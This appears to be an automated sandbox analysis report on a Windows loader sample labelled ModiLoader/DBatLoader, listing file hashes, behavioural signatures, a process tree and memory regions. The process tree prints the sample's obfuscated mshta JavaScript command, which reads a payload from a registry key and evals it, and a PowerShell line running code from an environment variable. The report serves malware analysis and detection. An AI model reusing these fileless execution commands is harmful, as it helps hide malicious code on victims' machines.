Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-12-2024 18:13

General

  • Target

    e7a786c8643a844e2d69cf658d966bd5_JaffaCakes118.exe

  • Size

    501KB

  • MD5

    e7a786c8643a844e2d69cf658d966bd5

  • SHA1

    a98ce54a952e86789ce289d704b5f4620ca7f635

  • SHA256

    7b41e9bf814faf836e660aab8db4d578f8e1e47d9da11b5cfc32efa61f22f059

  • SHA512

    5e8108032a287cebf724c229fac3b2c1b0abcce210097cb7a37e21cad2638aef9e65adaa2514cccb54efb9e2733c05335ba4ce67173af1a6fe102437352dad67

  • SSDEEP

    6144:9qer9lZxBXpvW0WB8ZZWgRCDOQ3CkQnFkkr1R0MQsMCV4gMfowNSsr+YD5J+h1Lo:9qu9vXpvW0UMtRCDDy3lr4fk2Zf2XLmJ

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e7a786c8643a844e2d69cf658d966bd5_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e7a786c8643a844e2d69cf658d966bd5_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:3524
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:nyt8sI0td="3d0gKETo26";Q0i4=new%20ActiveXObject("WScript.Shell");amm5bRfy="VWNm2SFzb";BsJ3f=Q0i4.RegRead("HKLM\\software\\Wow6432Node\\fVbhaf\\WqCEHJ");bsIzq2MF="m";eval(BsJ3f);AWzRTfJ88="2TG0wZO";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:rrauen
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2620

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gdmwolct.vnp.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2620-28-0x0000000006430000-0x0000000006784000-memory.dmp

    Filesize

    3.3MB

  • memory/2620-32-0x00000000081C0000-0x000000000883A000-memory.dmp

    Filesize

    6.5MB

  • memory/2620-33-0x0000000006EB0000-0x0000000006ECA000-memory.dmp

    Filesize

    104KB

  • memory/2620-14-0x0000000005540000-0x0000000005576000-memory.dmp

    Filesize

    216KB

  • memory/2620-30-0x00000000069B0000-0x00000000069FC000-memory.dmp

    Filesize

    304KB

  • memory/2620-29-0x0000000006990000-0x00000000069AE000-memory.dmp

    Filesize

    120KB

  • memory/2620-18-0x00000000063C0000-0x0000000006426000-memory.dmp

    Filesize

    408KB

  • memory/2620-15-0x0000000005BB0000-0x00000000061D8000-memory.dmp

    Filesize

    6.2MB

  • memory/2620-16-0x0000000005B60000-0x0000000005B82000-memory.dmp

    Filesize

    136KB

  • memory/2620-17-0x0000000006350000-0x00000000063B6000-memory.dmp

    Filesize

    408KB

  • memory/3524-11-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/3524-1-0x00000000027F0000-0x00000000027F1000-memory.dmp

    Filesize

    4KB

  • memory/3524-10-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/3524-8-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/3524-9-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/3524-2-0x00000000022C0000-0x00000000023C0000-memory.dmp

    Filesize

    1024KB

  • memory/3524-0-0x00000000022C0000-0x00000000023C0000-memory.dmp

    Filesize

    1024KB

  • memory/3524-34-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3524-7-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/3524-5-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/3524-31-0x00000000027F0000-0x00000000027F1000-memory.dmp

    Filesize

    4KB

  • memory/3524-4-0x00000000027F0000-0x00000000027F1000-memory.dmp

    Filesize

    4KB

  • memory/3524-3-0x00000000027F0000-0x00000000027F1000-memory.dmp

    Filesize

    4KB

  • memory/3524-12-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB